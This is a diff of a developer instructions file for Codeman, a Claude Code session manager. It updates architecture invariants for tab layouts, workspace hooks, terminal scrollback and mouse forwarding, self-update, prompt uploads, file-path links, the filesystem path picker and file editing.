⚠️ Only the GROUPED rail is an ARIA tree (`role=tree`, headers owning `role=group`s, one roving `tabindex=0`); the strip, sidebar and flat rail stay `tablist`/`tab`. ⚠️ Every browser write is a named operation through ONE serialized `PUT /api/tab-layout` at a time (`createEditCoordinator`): a 409 replays the operations onto the server's layout and retries (bounded), and an SSE reload is deferred while a write is in flight. Never PUT the layout from anywhere else in the frontend (the `pagehide` keepalive in `_persistPendingTabLayoutEdits` is the one deliberate exception). ⚠️ Placing a NEW session in a group rides its create request (`tabGroupId` on `POST /api/sessions` / `/api/quick-start`) into `TabLayoutService.sessionCreated()`, which registers the session inside the owner lock and places it in the same write; never place a created session with a follow-up PUT. A spawned child lands after its parent; whether it keeps FOLLOWING it until moved by hand is the synced `spawnedTabsFollowParent` setting (default OFF: pinned `manual` in the creating write), read fresh in `sessionCreated()`. A case's **default session group** (Case settings; `caseDefaultGroups` in state.json, per owner and case) is the fallback placement in that same write, below `tabGroupId` and the parent, from the create request's `caseName` (quick-start, Ralph start, or inferred lexically from a `POST /api/sessions` `workingDir`); it is read and written ONLY through `TabLayoutService`. ⚠️ A legacy order PUT marks a child `manual` ONLY when the requested order splits it from its parent's block (`applyLegacySessionRank`), and the browser never echoes create/delete through `PUT /api/session-order`: the server already re-projected and broadcast it. Web-tab OPENNESS stays per device. ⚠️ `TabLayoutService` is the single mutation boundary (one completed server action = at most one versioned write); never write layout state from a route or manager directly. ⚠️ The layout PROJECTS onto `PUT /api/session-order` via `tab-layout-legacy-order.ts`; change both sides together. ⚠️ Reconciliation is gated on a SUCCESSFUL restore (`markRestorationComplete`/`assertDeletionReady()`): a failed restore must leave the layout untouched or live tabs get pruned. → [architecture-invariants#owner-tab-layouts](docs/architecture-invariants.md#owner-tab-layouts)
 
-**Hook events**: Claude Code hooks trigger via `/api/hook-event` (`permission_prompt`, `elicitation_dialog`, `elicitation_complete`, `elicitation_response`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`, `prompt_submitted`); see `src/hooks-config.ts` and `docs/claude-code-hooks-reference.md`. ⚠️ Every claude session installs the hooks block into its workspace (add-only merge) from every create path and from `restoreMuxSessions()`, gated by `workspaceHooksEnabled` (SYNCED, default ON). ⚠️ Route that decision through `applyWorkspaceHooks`, never call `ensureCodemanHooks` at a new site, or the setting silently stops applying. ⚠️ An AskUserQuestion / plan-selection dialog arrives as `permission_prompt` (RED alert), not `elicitation_dialog` (MCP elicitation). → [architecture-invariants#hook-events-and-workspace-hook-installation](docs/architecture-invariants.md#hook-events-and-workspace-hook-installation)
+**Hook events**: Claude Code hooks trigger via `/api/hook-event` (`permission_prompt`, `elicitation_dialog`, `elicitation_complete`, `elicitation_response`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`, `prompt_submitted`); see `src/hooks-config.ts` and `docs/claude-code-hooks-reference.md`. ⚠️ Every claude session Codeman starts installs the hooks block into its workspace (add-only merge) from every create path and from `restoreMuxSessions()` (an adopted session installs none: it has no workspace of ours), gated by `workspaceHooksEnabled` (SYNCED, default ON). ⚠️ Route that decision through `applyWorkspaceHooks`, never call `ensureCodemanHooks` at a new site, or the setting silently stops applying. ⚠️ An AskUserQuestion / plan-selection dialog arrives as `permission_prompt` (RED alert), not `elicitation_dialog` (MCP elicitation). → [architecture-invariants#hook-events-and-workspace-hook-installation](docs/architecture-invariants.md#hook-events-and-workspace-hook-installation)
 
 **Reboot restore** (`src/reboot-restore.ts` pure + `web/reboot-restore-registry.ts` + `routes/reboot-restore-routes.ts` + `reboot-restore-ui.js`): after a host reboot kills every pane, Codeman holds an IN-MEMORY plan of the destroyed sessions and a banner offers to rebuild them. ⚠️ The heuristic only decides whether to ASK. ⚠️ Rebuild is TAKE-then-build (entries leave the plan before the first `await`, single-flighted per owner). ⚠️ Re-check grant, workspace and already-live at click time, reading already-live FRESH per entry; key confinement on the entry's OWNER, never the caller. ⚠️ Rebuilt sessions come back disarmed: no respawn/Ralph, `rearmAutoResumeSchedule: false`, and pass `nameSource` through. ⚠️ Undo a failed rebuild with `discardPartiallyBuiltSession()`, NEVER `cleanupSession()`. Claude-mode only, never remote/docker. Tests: `test/reboot-restore.test.ts`. → [architecture-invariants#reboot-restore](docs/architecture-invariants.md#reboot-restore)
 
@@ -215,10 +219,10 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 
 **Full-scrollback replay**: `GET /api/sessions/:id/terminal?full=1` returns the whole tmux scrollback ALONE (`source='mux-full-history'`), superseding the byte buffer. First load of each non-shell TUI session requests it (`_fullHistoryLoaded`); Shell selection, drop recovery, clear and a tile's load use `SHELL_LOAD_QUERY` (constants.js), a bounded window of tmux's RENDERED history (`?full=1&tail=1MiB&alt=recording&lines=10000`), never the raw byte recording, whose full-screen repaints replayed at another pane height push copies of their top row into scrollback; the route reports a client `lines=` bound below the history ceiling that left lines in tmux as `truncationReason: 'tail'`, and `alt=recording` falls back to the visible frame over the tailed byte recording when the pane is in the alternate screen (a nested tmux in a remote or Docker case keeps no tmux history; vim/less take it too while open). A Shell scroll-to-top pulls a bounded `?full=1&tail=` window (a window no longer than the browser's buffer is skipped before the downgrade guard, so it never marks the session exhausted); the unbounded pull stays behind **Load full history**. A Shell split-pane Pane B has its own copy of the bounded pull against its own xterm (`TerminalTile._pullHistory`, terminal-tile.js); keep the two in step. → [architecture-invariants#split-pane-sessions](docs/architecture-invariants.md#split-pane-sessions) ⚠️ The capture ends with a RELATIVE cursor move back to the pane's caret (never `CUP`), so no line-deleting transform may run over it; those skips key on `isFullCapture`, never on `?full=1` alone. ⚠️ A re-pull must never shrink the buffer (`_replayWouldShrinkBuffer()`). ⚠️ `captureCols`/`captureRows` are absent when no frame was positioned: test `Number.isFinite`, never truthiness. ⚠️ A frame dropped at the 128 KiB render cap MUST be recovered, and the recovery verifies itself: `_scheduleDroppedOutputRecovery` re-arms (bounded by `DROP_RECOVERY_MAX_ATTEMPTS`) while `_onSessionNeedsRefresh` reports no repaint, but never after a capture-fetch `'deadline'`. → [architecture-invariants#full-scrollback-replay](docs/architecture-invariants.md#full-scrollback-replay)
 
-**Terminal scrollback strip + wheel/touch forwarding**: codex/claude/gemini get the FULL strip (alt-screen, `3J`, mouse DECSETs); tmux-backed opencode and copilot get the MIDDLE strip (alt-screen toggles + mouse DECSETs, `3J` kept); every other tmux-backed mode (shell/antigravity/pi/grok/deepseek/omp) gets the NARROW strip (alt-screen toggles only). Table: `CliCapabilities.altScreen` JSDoc, pinned in test/claude-scrollback-strip.test.ts. ⚠️ Gated on `useMux`: direct-PTY sessions must keep the alt screen. Wheel and touch forward only with observed `cliMouseTracking`: **Claude ≥ 2.1.187, tracked Codex, or tracked Copilot**. Codex 0.163.0 fullscreen was measured with `alternate_on=1`, `mouse_any_flag=1`: one SGR report moves one transcript row; see the fresh measurement in architecture-invariants. Inline/untracked Codex retains local history or the capability-gated paging fallback. Copilot has no version gate; a stale/false tracking flag falls back to PageUp/PageDown. Touch alone has one more branch (`_shouldForwardTouchToApp`): in any mode, a drag also forwards as SGR wheel reports while xterm ITSELF tracks the mouse with SGR encoding (an app in the pane asked for it; a tracking mode other than `x10` and `coreMouseService.activeEncoding === 'SGR'`, so DEFAULT, X10 and SGR-pixel apps fail closed), because xterm encodes a wheel there but the touch listeners consume the drag. ⚠️ `getClaudeCliVersion()` must never cache a FAILED probe. ⚠️ Hand-report clicks only while the CLI has mouse tracking on: `_shouldReportMouseToCli()` gates all three report sites on `cliMouseTracking` (from `_recordStrippedMouseMode()`, session.ts), or a plain shell prints the reports as literal text. ⚠️ A `TerminalTile` (grid tile, split Pane B) forwards the wheel as SGR reports, pages it and reports clicks through these SAME gates with itself as the target (its terminal, its session, never `activeSessionId`), and scrolls Shift+wheel itself (xterm makes it a horizontal no-op); never copy the mode lists into terminal-tile.js. ⚠️ The hollow-buffer PageUp/PageDown fallback (`_maybePageCliTranscript`) stands down when the last capture reported tmux scrollback (`paneHistoryLines` > 0: a tail replayed after a server restart carries only the attach repaint), so the gesture scrolls locally and the scroll-to-top pull loads `full=1`; 0 and unknown keep paging. Read `_logScrollRouting()` before diagnosing a scroll report. → [architecture-invariants#terminal-scrollback-strip-flavors-and-wheeltouch-forwarding](docs/architecture-invariants.md#terminal-scrollback-strip-flavors-and-wheeltouch-forwarding)
+**Terminal scrollback strip + wheel/touch forwarding**: codex/claude/gemini get the FULL strip (alt-screen, `3J`, mouse DECSETs); tmux-backed opencode, copilot and pi get the MIDDLE strip (alt-screen toggles + mouse DECSETs, `3J` kept); every other tmux-backed mode (shell/antigravity/grok/deepseek/omp) gets the NARROW strip (alt-screen toggles only). Table: `CliCapabilities.altScreen` JSDoc, pinned in test/claude-scrollback-strip.test.ts. ⚠️ Gated on `useMux`: direct-PTY sessions must keep the alt screen. Wheel and touch forward only with observed `cliMouseTracking`: **Claude ≥ 2.1.187, tracked Codex, tracked Copilot, or tracked Pi**. Codex 0.163.0 fullscreen was measured with `alternate_on=1`, `mouse_any_flag=1`: one SGR report moves one transcript row; see the fresh measurement in architecture-invariants. Inline/untracked Codex retains local history or the capability-gated paging fallback. Copilot has no version gate; a stale/false tracking flag falls back to PageUp/PageDown. Pi has no version gate either, and is fullscreen by default since 1.0.0: it enables tracking once at start, so the flag is what survives a tab switch or reload (xterm's own mode does not). ⚠️ Pi deliberately has no `transcriptPageKeys`: its `tuiMode: regular` binds those keys to the editor, so paging there moves a draft's caret. Touch alone has one more branch (`_shouldForwardTouchToApp`): in any mode, a drag also forwards as SGR wheel reports while xterm ITSELF tracks the mouse with SGR encoding (an app in the pane asked for it; a tracking mode other than `x10` and `coreMouseService.activeEncoding === 'SGR'`, so DEFAULT, X10 and SGR-pixel apps fail closed), because xterm encodes a wheel there but the touch listeners consume the drag. ⚠️ `getClaudeCliVersion()` must never cache a FAILED probe. ⚠️ Hand-report clicks only while the CLI has mouse tracking on: `_shouldReportMouseToCli()` gates all three report sites on `cliMouseTracking` (from `_recordStrippedMouseMode()`, session.ts), or a plain shell prints the reports as literal text. ⚠️ A `TerminalTile` (grid tile, split Pane B) forwards the wheel as SGR reports, pages it and reports clicks through these SAME gates with itself as the target (its terminal, its session, never `activeSessionId`), and scrolls Shift+wheel itself (xterm makes it a horizontal no-op); never copy the mode lists into terminal-tile.js. ⚠️ The hollow-buffer PageUp/PageDown fallback (`_maybePageCliTranscript`) stands down when the last capture reported tmux scrollback (`paneHistoryLines` > 0: a tail replayed after a server restart carries only the attach repaint), so the gesture scrolls locally and the scroll-to-top pull loads `full=1`; 0 and unknown keep paging. Read `_logScrollRouting()` before diagnosing a scroll report. → [architecture-invariants#terminal-scrollback-strip-flavors-and-wheeltouch-forwarding](docs/architecture-invariants.md#terminal-scrollback-strip-flavors-and-wheeltouch-forwarding)
 **Detached start + service install**: `codeman web -d` relaunches the same entry script `detached:true` (setsid); `nohup` is not what makes it survive. ⚠️ Both `-d` and `service install` must REFUSE when a server is already up on this data dir (pidfile + `/api/status` probe), or a second instance attaches to the first one's live sessions. ⚠️ Never report success not observed: poll `/api/status` until the child answers or dies. `--stop` must verify the pid still looks like Codeman (`ps -o command=`) before signalling. Unit/label names live only in `config/service-names.ts`. `service install` bakes the installing shell's PATH into the unit and never writes `CODEMAN_PASSWORD` into it. → [architecture-invariants#detached-start-and-service-install](docs/architecture-invariants.md#detached-start-and-service-install)
 
-**Self-update** (App Settings → System → Updates): in-app updater for git-clone installs under a supervisor (`systemd`, `launchd`, `launchd-daemon`, `docker-compose`, else `none`). The work runs in a DETACHED `scripts/self-update.sh` writing `update-status.json`, polled across the restart; pure helpers in `src/web/self-update.ts`. ⚠️ Compose: the restart kills the script, so nothing may be appended after the `restarting` marker; the repo must stay a host bind mount over `/opt/codeman` and the image must keep devDependencies + toolchain. ⚠️ `evaluateEnvironmentGate()` refuses releases that change `server.Dockerfile`/`docker-compose.yaml` or add `.env.example` keys, re-evaluated on `POST /api/system/update`; unknowns fail OPEN, but the exit-to-restart needs `--restart-by-exit 1` (`CODEMAN_RESTART_BY_EXIT=1` only in the Compose file). ⚠️ Keep the agent CLIs in `server.Dockerfile` pinned. → [docs/docker-self-update.md](docs/docker-self-update.md), [architecture-invariants#self-update](docs/architecture-invariants.md#self-update)
+**Self-update** (App Settings → System → Updates): in-app updater for git-clone installs under a supervisor (`systemd`, `launchd`, `launchd-daemon`, `docker-compose`, else `none`). The work runs in a DETACHED `scripts/self-update.sh` writing `update-status.json`, polled across the restart; pure helpers in `src/web/self-update.ts`. ⚠️ Compose: the restart kills the script, so nothing may be appended after the `restarting` marker; the repo must stay a host bind mount over `/opt/codeman` and the image must keep devDependencies + toolchain. ⚠️ `evaluateEnvironmentGate()` refuses releases that change `server.Dockerfile`/`docker-compose.yaml` or add `.env.example` keys, re-evaluated on `POST /api/system/update`; unknowns fail OPEN, but the exit-to-restart needs `--restart-by-exit 1` (`CODEMAN_RESTART_BY_EXIT=1` only in the Compose file). ⚠️ An install with no git checkout (`install.sh` on a machine without a working git leaves the marker `.install-source`) is kind `archive`: it cannot update in place, and both the check and the UI tell it to re-run the installer, never the npm line. ⚠️ Keep the agent CLIs in `server.Dockerfile` pinned. → [docs/docker-self-update.md](docs/docker-self-update.md), [architecture-invariants#self-update](docs/architecture-invariants.md#self-update)
 
 **Reverse-proxy base path** (`--base-url` / `CODEMAN_BASE_URL`, default `/`; pure single source `src/config/base-path.ts`, normalized to `''` or `/foo`): mounts Codeman under a sub-path behind a proxy that forwards the prefix unchanged. Few choke points: `stripBasePath()` in Fastify's `rewriteUrl` (routes stay prefix-agnostic; unprefixed requests still answer), one `onSend` hook rebasing `Location`, `renderIndexHtml` rewriting `<base href>` + injecting `window.__CODEMAN_BASE__`, and `CodemanBase.url()` (constants.js) for runtime URLs. ⚠️ Keep template asset refs RELATIVE, and route every root-absolute frontend URL (EventSource/WebSocket/`window.open`/src) through `CodemanBase.url()`. ⚠️ Web-tab proxy egress goes through `proxyPrefixFor(cap, basePath)`; ingress parsers stay base-agnostic. ⚠️ `--base-url` must ride `buildWebArgs` and `resolveServicePlan`. Tests: `test/base-path.test.ts`. → [architecture-invariants#reverse-proxy-base-path](docs/architecture-invariants.md#reverse-proxy-base-path)
 
@@ -226,25 +230,29 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 
 **Prompt uploads** (`POST /api/sessions/:id/paste-image`: clipboard paste, drop, the Compose Attach key and the phone toolbar's Attach button; client wiring in `image-input.js` and `keyboard-accessory.js`): a pick is written to `<workspace>/.codeman-uploads/` and its path lands on the prompt as unsent text. The folder is IN the workspace because that is the only path identical for a local and a container agent, FLAT because `<workspace>/.codeman/` would BE the data dir when the workspace is the home directory, and self-ignoring through a `.gitignore` of `*` written ONCE with `wx` (a file already there is the user's and is never overwritten; the user's own ignore file is never touched). ⚠️ The directory names live ONLY in `paste-image-gc.ts` (`UPLOAD_DIR_NAMES`): the pre-move `.claude-images/` receives nothing but stays readable for one release, so the GC sweep and the delete cleanup (through `uploadDirs()`) and the image watcher's ignore filter (reading the names) cover BOTH; retire the legacy entry there, never by hand elsewhere. ⚠️ `uploadDirs()` is async and probes the workspace BOUNDED first (`probePathKind()`, the #516 rule: an `unknown` path is skipped, never touched; the sweep keeps the stall cap and the delete passes `pastCap`), then returns only REAL directories (lstat, so a planted symlink is never one), none that is or contains `getDataDir()` (one strictly inside it only holds uploads and is listed), and none for a remote session, since both consumers delete; the check is made at list time, and the same-user race after it is accepted. Images are buffered in memory under `MAX_PASTE_IMAGE_BYTES` (50MB) after a client-side canvas re-encode; a DOCUMENT (pdf, docx, pptx, xlsx, zip and the text family txt/md/csv/tsv/json/log/yaml/yml/xml; the curated `ALLOWED_DOCUMENT_EXTS`, never `SUPPORTED_ATTACHMENT_EXTENSIONS` or `EDITABLE_EXTENSIONS`, which carry sh/py/js/html) is admitted by its name's extension alone, buffered like an image, judged on its bytes by the same fail-closed `imageMagicMatchesExt` (`%PDF-`, `PK\x03\x04` for the OOXML trio and zip, UTF-8 without a NUL byte for text: a SIGNATURE or ENCODING check, never a structure or content check, so generic zip bytes pass as `.docx` and a script renamed `.txt` is text; the sh/py/js/html exclusion is a SCOPE choice by extension, keeping the server from storing what it would serve or run, not a content filter: the agent can already write any of those) and saved as `paste-<ts>-<hex>-<stem><ext>` with a sanitized stem (`[A-Za-z0-9._-]`, 40 chars, a wholly non-ASCII name leaves no stem; the `paste-` prefix is what the GC matches). A VIDEO is never buffered: `?kind=video` streams it to disk under `MAX_PASTE_VIDEO_BYTES` (1GB, env `CODEMAN_MAX_PASTE_VIDEO_BYTES`), judges the container on the first 12 bytes as they arrive (ISO BMFF / QuickTime atom, EBML for webm, Ogg for ogv; a mislabeled body is drained unwritten from there, never parked on disk first) and unlinks on any failure, a dead transfer included. ⚠️ The flag is the ONLY way onto that path and admits video types alone (the registry's `VIDEO_ATTACHMENT_EXTENSIONS`, single-sourced: mp4/webm/mov/m4v/ogv, so an uploaded video is one the file viewer can also play; 3gp/mkv are out, since a phone's camera roll produces neither and neither previews), so an image can never ride the larger cap through memory; without it the route is byte-identical to the image-only version. Busboy takes its size limit before the part is seen, which is why the choice rides the URL and not the file. ⚠️ A video draws on its OWN per-(IP, session) rate bucket (`consumeVideoToken`, 3/min) beside the image bucket (`consumePasteToken`, 30/min): at 1GB each, 30/min would be 30GB of disk a minute, so the lower rate bounds it to 3GB; the image path keeps the 30/min bucket and is unchanged without the flag. A remote (SSH) session is refused (400) before any disk touch: its `workingDir` is the remote path, so the file would land on THIS host where the agent cannot read it (Docker is fine, the workspace is bind-mounted at the same absolute path). ⚠️ A live session's workspace can still sit on a network mount that stopped answering, so the route probes it BOUNDED (`probePathKind(session.workingDir, { pastCap: true })`, the #516 rule) before the first disk touch and refuses an `unknown` mount through `describeUnknownPath()` (OPERATION_FAILED), the way session create does, so a mount already unreachable cannot freeze a libuv worker on every upload (a mount that dies after the probe is the same residual race create accepts). ⚠️ Dispatch mirrors the client: an `image/*` MIME takes the IMAGE path whatever the name says (a GIF named `animation.txt` stays a GIF), a document extension takes the document branch, and anything else takes the image path exactly as before, where the HEIC sniff still recovers a HEIC under a generic name; a foreign extension with no image MIME gets its `Unsupported file type` 400 only AFTER that sLine truncated
 
-**File-path links (terminal + chat)**: a path an agent prints is clickable on BOTH surfaces and opens the file-preview overlay. ⚠️ ONE pattern (`FILE_PATH_LINK_PATTERN` / `absoluteFilePathPattern()` in constants.js) feeds the xterm link provider AND `_linkifyFilePaths()`, a fresh instance per call (`lastIndex`). Both call `findFilePathLinks()`, which reserves spaced-path spans first (an unlinkable one only while its last word holds a `/`; any label, before an absolute or relative path, must be an explicit path label, prose after that label stays out, and an earlier connective or verb such as `and` or `has` (`SPACED_PATH_PROSE_WORD`) makes any candidate prose; rules and trade-offs in the architecture-invariants paragraph linked below), then adds rooted, `~/`, relative and folder paths without overlapping a reservation, earlier match or URL; a relative path resolves against `workingDir` (`resolveLinkedFilePath`), `~/` only server-side on the session's host (attachment route), and `terminalPathLine()` joins a path a program hard-wrapped short of the edge. ⚠️ A folder link opens the **folder grid**: `POST /api/sessions/:id/folders` guards + GRANTS the folder (`folder-listing.ts`, own registry, never the 200-capped attachment registry), files come by bare name via `…/folders/:folderId/files/:name/*` through `resolveServableAttachmentPath` plus the same extension/regular-file gate on the symlink's resolved target, so no browser request carries a path; `~/` is refused in a Docker case (the container's home is not this host's). The chat linkifier walks TEXT NODES with DOM APIs, never rebuilds sanitized markup as a string. ⚠️ An out-of-workspace path goes through the ATTACHMENT routes (`POST /api/sessions/:id/attachments` with `notify: false`), never by widening `file-content`/`file-raw` or `file-stream-manager`'s `tail -f` allowlist. ⚠️ `TEXT_ATTACHMENT_EXTENSIONS` IS `EDITABLE_EXTENSIONS` (never a second list), and widening READ must never widen RUN: `html`/`htm`/`svg` stay download-only, other text is inert `text/plain`+`nosniff`. ⚠️ The ONE place HTML renders is `/html-view/<cap>/...` (`html-view-routes.ts`, `html-view-capabilities.ts`): `POST /api/sessions/:id/html-view` mints a capability for the file's own directory, every response carries `Content-Security-Policy: sandbox` WITHOUT `allow-same-origin` (opaque origin even as a top-level tab, so the page can never read Codeman or drive its API) and with NO fetch directive (open network, owner decision 2026-10-13: never restrict it or add `allow-same-origin` without the owner), and only non-dot, asset-allowlisted files under that directory are served (GET/HEAD only; capabilities revoked with the web-tab ones on logout). That tree is served recursively, so minting is refused for a hidden directory or a broad root (`isBroadHtmlViewRoot`); the preview renders by default and the **Page** pill (or a refused mint) falls through to the source view and its Edit button. Never serve HTML same-origin anywhere else. Tests: `test/routes/html-view-routes.test.ts`. Media extensions are single-sourced in `attachment-registry.ts`. ⚠️ **XLSX previews parse in the BROWSER**, never on the server; the admission limits that keep a hostile workbook from freezing the worker live in `src/web/CLAUDE.md` (Spreadsheet preview). → [architecture-invariants#file-path-links-terminal--response-viewer](docs/architecture-invariants.md#file-path-links-terminal--response-viewer)
+**File-path links (terminal + chat)**: a path an agent prints is clickable on BOTH surfaces and opens the file-preview overlay. ⚠️ ONE pattern (`FILE_PATH_LINK_PATTERN` / `absoluteFilePathPattern()` in constants.js) feeds the xterm link provider AND `_linkifyFilePaths()`, a fresh instance per call (`lastIndex`). Both call `findFilePathLinks()`, which reserves spaced-path spans first (an unlinkable one only while its last word holds a `/`; any label, before an absolute or relative path, must be an explicit path label, prose after that label stays out, and an earlier connective or verb such as `and` or `has` (`SPACED_PATH_PROSE_WORD`) makes any candidate prose; rules and trade-offs in the architecture-invariants paragraph linked below), then adds rooted, `~/`, relative and folder paths without overlapping a reservation, earlier match or URL; a relative path resolves against the pane's live directory `SessionState.paneCwd` when known, else `workingDir` (`relativeResolutionBase()` + `resolveLinkedFilePath`; `paneCwd` is only a BASE, never a confinement root: routing and the file routes still judge against `workingDir`, and remote/docker/direct-PTY/rediscovered sessions never get one, scoped by `paneExitApplies`), `~/` only server-side on the session's host (attachment route), and `terminalPathLine()` joins a path a program hard-wrapped short of the edge. ⚠️ A folder link opens the **folder grid**: `POST /api/sessions/:id/folders` guards + GRANTS the folder (`folder-listing.ts`, own registry, never the 200-capped attachment registry), files come by bare name via `…/folders/:folderId/files/:name/*` through `resolveServableAttachmentPath` plus the same extension/regular-file gate on the symlink's resolved target, so no browser request carries a path; `~/` is refused in a Docker case (the container's home is not this host's). The chat linkifier walks TEXT NODES with DOM APIs, never rebuilds sanitized markup as a string. ⚠️ An out-of-workspace path goes through the ATTACHMENT routes (`POST /api/sessions/:id/attachments` with `notify: false`), never by widening `file-content`/`file-raw` or `file-stream-manager`'s `tail -f` allowlist. An ambiguous parenthesised hard wrap is checked only on activation, original first: only a 404 permits a spaced-path lookup, and only a registered alternative is opened; every other original result uses the normal opener, never an attachment-policy gate on workspace files, and hover performs no lookup. ⚠️ `TEXT_ATTACHMENT_EXTENSIONS` IS `EDITABLE_EXTENSIONS` (never a second list), and widening READ must never widen RUN: `html`/`htm`/`svg` stay download-only, other text is inert `text/plain`+`nosniff`. ⚠️ The ONE place HTML renders is `/html-view/<cap>/...` (`html-view-routes.ts`, `html-view-capabilities.ts`): `POST /api/sessions/:id/html-view` mints a capability for the file's own directory, every response carries `Content-Security-Policy: sandbox` WITHOUT `allow-same-origin` (opaque origin even as a top-level tab, so the page can never read Codeman or drive its API) and with NO fetch directive (open network, owner decision 2026-10-13: never restrict it or add `allow-same-origin` without the owner), and only non-dot, asset-allowlisted files under that directory are served (GET/HEAD only; capabilities revoked with the web-tab ones on logout). That tree is served recursively, so minting is refused for a hidden directory or a broad root (`isBroadHtmlViewRoot`); the preview renders by default and the **Page** pill (or a refused mint) falls through to the source view and its Edit button. Never serve HTML same-origin anywhere else. Tests: `test/routes/html-view-routes.test.ts`. Media extensions are single-sourced in `attachment-registry.ts`. ⚠️ **XLSX previews parse in the BROWSER**, never on the server; the admission limits that keep a hostile workbook from freezing the worker live in `src/web/CLAUDE.md` (Spreadsheet preview). → [architecture-invariants#file-path-links-terminal--response-viewer](docs/architecture-invariants.md#file-path-links-terminal--response-viewer)
 
 The terminal provider scans `terminalLinkLine()`, which extends `terminalPathLine()` for URL continuations in indented paragraphs and table cells. List markers, bare numbers, version tokens, whole email addresses, labels ending in `:`, measurements and clock times (`45%`, `12.3ms`, `10:00:00`) and a `name=value` field under a URL ending in `/` never continue a URL; a token with only `-`, `_` or `.` is also refused when it carries a call paren (`client.get()`) or ends a sentence (`Done.`). A URL in the last column of a space-aligned table never takes the next row's first cell: a continuation row must start inside the URL's own cell, so a gap of two or more spaces between its indent and where the URL starts on the row above means it is the next record. `terminalCellWrappedPaths()` follows each table cell independently: a fragment carries on into the next row only when it ends its cell on `/` or `-` (where a wrapper breaks a path; codex's cell wrap never breaks at `_`), the continuation row is blank to the left of the cell (a wrapper wraps every column of a table row together, so a label there such as `Entry` or `│ Log │` is the next record, unless a left column's path continued on that row too; a left column of wrapped prose, as in a `Description | Path` table, fills that row as well, so the path beside it keeps its per-row fragment links, the safe direction), the next row's token passes `pathContinuation()`, and the cell is no wider than the one above. So a directory that is a whole cell value (`/home/u/proj` over `config.yaml`, or `/home/u/proj/app/` over a labelled `main.py`) keeps its folder link and the next row keeps its own file link. With no label to tell them apart, a directory written with its trailing slash over a relative path in the same column (`/home/u/proj/src/` over `lib/util.ts`) still joins, a known trade-off: it reads exactly like a wrap at `/`. Accepted paths displace other links on their cells. Full-width divider rows stop `terminalLogicalLine()` stitching for both links and touch selection. OSC 8 links confirm the real target URI before the shared opener runs.
 
-**Filesystem path picker** (Link Existing "Browse" + the mobile keyboard's `📁 Path` key): lazy one-directory browsing via `GET /api/filesystem/browse`, with `GET /api/filesystem/preview` for the tapped file. Inserts the path **without** Enter, so the prompt is never submitted; the sibling `⌫ All` key clears only the unsent prompt and must never send the agent's `/clear`. ⚠️ This is a **second file-serving surface and inherits neither the attachment confinement nor its ownership scoping** — it allowlists Home, `CASES_DIR`, `/mnt/d` and `CODEMAN_FILE_PICKER_ROOTS`, blocks sensitive trees, and rejects symlink escapes **after** `realpath`. ⚠️ The optional `sessionId` is an ownership boundary that must be `canAccessOwned`-checked by hand (it does not go through `findSessionOrFail`), and in multi-user mode a non-admin gets only their own `userSpacePath` as a root: per-user spaces live INSIDE `homedir()`, so a `Home` root exposes every other user's workspace. Previews go through the same global conversion limiter, and Markdown/TXT/JSON are served as inert `text/plain`. → [architecture-invariants#filesystem-path-picker](docs/architecture-invariants.md#filesystem-path-picker)
+**Filesystem path picker** (every Add Case "Browse": Link Existing, Create New's custom folder, Clone Repo, Docker; + the mobile keyboard's `📁 Path` key): lazy one-directory browsing via `GET /api/filesystem/browse`, with `GET /api/filesystem/preview` for the tapped file (Docker's Container Workdir picker lists through its own `fetchListing` over `POST /api/docker-cases/browse` instead, so the allowlist, blocked-tree and ownership rules below do not apply to it). A Browse fills its form field; the Path key inserts the path **without** Enter, so the prompt is never submitted; the sibling `⌫ All` key clears only the unsent prompt and must never send the agent's `/clear`. ⚠️ This is a **second file-serving surface and inherits neither the attachment confinement nor its ownership scoping**: it allowlists Home, `CASES_DIR`, `/mnt/d` and `CODEMAN_FILE_PICKER_ROOTS`, blocks sensitive trees, and rejects symlink escapes **after** `realpath`. ⚠️ The optional `sessionId` is an ownership boundary that must be `canAccessOwned`-checked by hand (it does not go through `findSessionOrFail`), and in multi-user mode a non-admin gets only their own `userSpacePath` as a root: per-user spaces live INSIDE `homedir()`, so a `Home` root exposes every other user's workspace. Previews go through the same global conversion limiter, and Markdown/TXT/JSON are served as inert `text/plain`. **New folder** (opt-in per caller, `allowNewFolder`; Link Existing, Create New's custom folder and Clone Repo's parent folder have it): `POST /api/filesystem/mkdir` `{ path, name, sessionId? }` creates ONE folder (non-recursive) directly inside a folder the picker may browse, resolved through the same roots, ownership and blocked-tree rules as browse (`403` outside them or in a blocked tree or unwritable, `404` missing parent, `409` exists, `400` a parent that is a file, or a name outside letters, digits, space and `_ - . ~`, containing `..`, starting with a dot or a tilde or over 255 bytes, so every name it accepts is one Link Existing accepts, and `400` a parent that is a cases directory, where a folder is already a case (Add Case > Create New with no custom folder makes one there); `showHidden` is forwarded like browse's); the picker reloads the folder and selects the new one. A picker that browses somewhere this route cannot create in (the container-workdir picker, `fetchListing`) must not set the flag. → [architecture-invariants#filesystem-path-picker](docs/architecture-invariants.md#filesystem-path-picker)
 
-**File Viewer edit mode** (issue #212): the file-preview overlay edits workspace text files in place — `GET .../file-content?edit=1` + `PUT /api/sessions/:id/file-content`, policy in `src/config/file-editing.ts`. This is a **third file surface and the only one that WRITES**: read-path confinement (realpath + workspace + ownership) plus sensitive/blocked/`.git` denies and an extension **allowlist**; writes are `wx`-temp + rename (no `O_CREAT` anywhere = edit-in-place is structural); optimistic concurrency via sha256 `baseHash` → 409. ⚠️ `edit=1` never truncates and the client must never save a plain-preview buffer (the 500-line truncation would silently delete the rest). ⚠️ CRLF/UTF-8 guards: EOL re-applied server-side, non-UTF-8 refused via round-trip compare. → [architecture-invariants#file-viewer-edit-mode](docs/architecture-invariants.md#file-viewer-edit-mode), `docs/file-viewer-edit-plan.md`
